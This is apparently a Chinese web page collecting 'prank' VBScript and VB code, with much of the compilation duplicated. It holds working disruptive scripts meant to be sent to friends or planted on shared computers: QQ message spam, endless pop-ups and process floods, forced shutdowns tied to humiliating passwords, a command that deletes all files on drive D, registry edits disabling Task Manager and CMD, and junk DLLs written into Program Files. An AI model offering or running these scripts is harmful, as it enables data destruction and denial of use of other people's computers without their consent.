VBS整人代碼大合集
一、你打開好友的聊天對話框,然後記下在你QQ裡好友的昵稱,把下面代碼裡的xx替換一下,就可以自定義發送QQ信息到好友的次數(代碼裡的數字10改一下即可).
xx.vbs=>
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("與 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ騷擾信息,也可以用在其它程序上。
二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打開無數個計算器，直到死機
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接關機
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不斷彈出窗口
----------------------------------------------------------------------------
while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
七、不斷按下alt+f4 （開什麼都關閉……）
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回車
(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以随意更改)
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
'------------------------ ------------------------------------------------------------
九、關不掉的窗口
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎麼才來，說~是不是不關心我")
WScript.Echo("哼,我生氣拉，等你這麼久，心都涼啦。")
WScript.Echo("小強很生氣，後果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴")
WScript.Echo("還剩11下，以後就看不到我拉。555555")
WScript.Echo("還剩10下，你現在可以選擇停止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，幹嘛丢棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，删除我你就好嗎？")
WScript.Echo("還剩4下！真要删除我？")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這麼絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這麼絕情。也别怪我無義！！！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
兩個整人的VBS腳本2009-07-16 18:16
文章錄入：7747.Net 責任編輯：7747.Net 564
【字體：小 大】
測試環境：Windows 2003 系統
大家好 我是Vanlisa QQ137841986
今天給大家帶來兩個整人的VBS腳本 希望大家喜歡
VBS腳本大家都知道吧 第一個是定時關機的
如果把他發給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會在你設定的
時間内關機 我設置的是3分鐘 隻要輸入就解除了 當然如果不輸的話也有解除的辦法
我們來看下這個腳本
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
新建一個記事本 把上面的代碼複制進去 另存為VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
這裡的數字可以修改關機時間 180秒
這些文字也可以自設 這個腳本啟用cmd 裡的關機程序
如果不輸的的話 可以打開任務管理器 輸入shutdown -a 來解除 我們試下 這時定時關機已
經沒了 但是還有個關不掉的窗口 我們打開任務管理器 結束掉Wscript.exe 這個進程就OK
了 這時就完全解除這個腳本了 Wscript 時Windows 腳本宿主
-------------------------------------------------------------------------------------------
下面看第二個整人的腳本
-------------------------------------------------------------------------------------------
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框裡輸入我是豬,否則後果自負，快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最後一次!",4096+64
MsgBox"如果你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裡有個廟.",4096+64
MsgBox"廟裡有個老和尚在講故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"隻綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最後問個問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
這段代碼可以改成你自己設定的地址
如果别人不輸我是豬的話就會一直點下去 點到你設定的數字
for i=1 to 100
從1到100
可以改成 20 其他的數字
解除這個VBS腳本的辦法就簡單了 隻是關掉任務管理器裡Wscript.exe
這個進程就好了
BY：7747.net
2009QQ整人代碼
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統将在"& 60-i &"秒後關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
[color=#FF0000]複制以上代碼，在桌面建一個文本，把代碼放進去，另存為VBE格式，
此代碼的威力：
1：開機就強制自動關機
2：cmd命令打不開
3：結束任務不管用
4：F8安全模式也不管用
呵呵！聽起來是不是有點恐怖啊，我在我朋友空間裡看見也吓了一跳、
代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，，
PS：不要亂拿軟件去整人，發生什麼事可不要怪我啊。。
拍拍手 頂起吧!
2：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "寶寶，我是天下第一大傻B")
a = inputbox ("寶寶，我是天下第一大傻B,就不關機，快撒，說 ""寶寶，我是天下第一大傻B"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？"
這代碼是我從朋友那拿來的，大家可以試着玩下、你能做非法事情哦、
網頁整人效果代碼
想看效果，隻要複制這下面的所有代碼保存在text文件裡，修改文件後綴為txt就能看到效果了。
vbs整人代碼
代碼如下：
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'聲明變量，其中“count”為靜态變量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定義要把生成的文件存放在那個目錄文件下
c = "C:\Program Files\"
'生成文件的内容
nr = "哈哈，被黑的感覺的不錯吧"
files = FreeFile
'如果a等于a那麼就執行
If a = a Then
'count不斷的加1，以便産生不同的文件名
count = count + 1
'産生文件名及文件句柄，并用count作為産生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件寫内容
Write #files, nr
'清除文件句柄，這裡很重要，如果不清除，将産生打開文件太多的錯誤提示
Close #files
End If
End Sub
xx.vbs=>
代碼如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("與 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ騷擾信息,也可以用在其它程序上。
二、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打開無數個計算器，直到死機
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接關機
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不斷彈出窗口
----------------------------------------------------------------------------
代碼如下:
while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
七、不斷按下alt+f4 （開什麼都關閉……）
---------------------------------------------------------------------------
代碼如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回車
(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以随意更改)
代碼如下:
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
'------------------------ ------------------------------------------------------------
九、關不掉的窗口
代碼如下:
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎麼才來，說~是不是不關心我")
WScript.Echo("哼,我生氣拉，等你這麼久，心都涼啦。")
WScript.Echo("小強很生氣，後果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴")
WScript.Echo("還剩11下，以後就看不到我拉。555555")
WScript.Echo("還剩10下，你現在可以選擇停止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，幹嘛丢棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，删除我你就好嗎？")
WScript.Echo("還剩4下！真要删除我？")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這麼絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這麼絕情。也别怪我無義！！！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
兩個整人的VBS腳本2009-07-16 18:16
文章錄入：7747.Net 責任編輯：7747.Net 564
【字體：小 大】
測試環境：Windows 2003 系統
大家好 我是Vanlisa QQ137841986
今天給大家帶來兩個整人的VBS腳本 希望大家喜歡
VBS腳本大家都知道吧 第一個是定時關機的
如果把他發給你的QQ好友 他不懂的話 如果不輸我是豬 電腦就會在你設定的
時間内關機 我設置的是3分鐘 隻要輸入就解除了 當然如果不輸的話也有解除的辦法
我們來看下這個腳本
代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
新建一個記事本 把上面的代碼複制進去 另存為VBE格式的就可以了
cmd.exe /c shutdown -r -t 180 -c
這裡的數字可以修改關機時間 180秒
這些文字也可以自設 這個腳本啟用cmd 裡的關機程序
如果不輸的的話 可以打開任務管理器 輸入shutdown -a 來解除 我們試下 這時定時關機已
經沒了 但是還有個關不掉的窗口 我們打開任務管理器 結束掉Wscript.exe 這個進程就OK
了 這時就完全解除這個腳本了 Wscript 時Windows 腳本宿主
-------------------------------------------------------------------------------------------
下面看第二個整人的腳本
-------------------------------------------------------------------------------------------
代碼如下:
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框裡輸入我是豬,否則後果自負，快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最後一次!",4096+64
MsgBox"如果你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裡有個廟.",4096+64
MsgBox"廟裡有個老和尚在講故事.",4096+64
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"隻綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最後問個問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
這段代碼可以改成你自己設定的地址
如果别人不輸我是豬的話就會一直點下去 點到你設定的數字
for i=1 to 100
從1到100
可以改成 20 其他的數字
解除這個VBS腳本的辦法就簡單了 隻是關掉任務管理器裡Wscript.exe
這個進程就好了
BY：7747.net
2009QQ整人代碼
代碼如下:
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統将在"& 60-i &"秒後關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
[color=#FF0000]複制以上代碼，在桌面建一個文本，把代碼放進去，另存為VBE格式，
此代碼的威力：
1：開機就強制自動關機
2：cmd命令打不開
3：結束任務不管用
4：F8安全模式也不管用
呵呵！聽起來是不是有點恐怖啊，我在我朋友空間裡看見也吓了一跳、
代碼破解方法：就是再運行一次，就可以破解了，也就是第2次保存的那個VBE文件，，
PS：不要亂拿軟件去整人，發生什麼事可不要怪我啊。。
拍拍手 頂起吧!
2：
代碼如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B，我是天下第一大傻B不說寶寶，我是天下第一大傻B就一分鐘關你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "寶寶，我是天下第一大傻B")
a = inputbox ("寶寶，我是天下第一大傻B,就不關機，快撒，說 ""寶寶，我是天下第一大傻B"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦？？"
這代碼是我從朋友那拿來的，大家可以試着玩下、你能做非法事情哦、
網頁整人效果代碼
想看效果，隻要複制這下面的所有代碼保存在text文件裡，修改文件後綴為txt就能看到效果了。
代碼如下:
vbs整人代碼
代碼如下：
代碼如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'聲明變量，其中“count”為靜态變量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定義要把生成的文件存放在那個目錄文件下
c = "C:\Program Files\"
'生成文件的内容
nr = "哈哈，被黑的感覺的不錯吧"
files = FreeFile
'如果a等于a那麼就執行
If a = a Then
'count不斷的加1，以便産生不同的文件名
count = count + 1
'産生文件名及文件句柄，并用count作為産生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件寫内容
Write #files, nr
'清除文件句柄，這裡很重要，如果不清除，将産生打開文件太多的錯誤提示
Close #files
End If
End Sub
你可能想看：
上一篇
波段大底
下一篇
紅樓夢，算不算一場噩夢？
最新文章
-
“豫西中醫界之泰鬥喬保均”治療疑難病60年經驗賞析
9小時前 -
回憶、健忘和灑脫
9小時前 -
弘一法師：“真的不忍心告訴你，這個世界隻是一個夢。你一輩子執
9小時前 -
心理學，準的讓你驚叫
9小時前 -
人生，成大器者有四識，知識、見識、膽識、遠識
10小時前 -
俞和：被遺忘的書法家，以古為師，創新在手！
10小時前 -
2024屆新高考II卷語文真題答案及解析
10小時前 -
生前隻是小人物，死後震驚史學界
10小時前
熱門文章
-
每日一誦傷寒論第241條
1周前 -
老張老李侃門球之140篇
2天前 -
這個穴位可以治療多種胃痛腹痛，還可以減肥
5天前 -
診餘雜記（師傳經驗）
4天前 -
為什麼五點鐘要起床答案讓人吃驚！（現在知道還不晚）
1周前 -
治療坐骨神經痛藥酒５方
1周前 -
美麗中國-2870：中國最大的内陸河，塔裡木河
2天前 -
二十四山開門放水作竈真訣開門放水作竈直訣——子山
2天前
有話要說...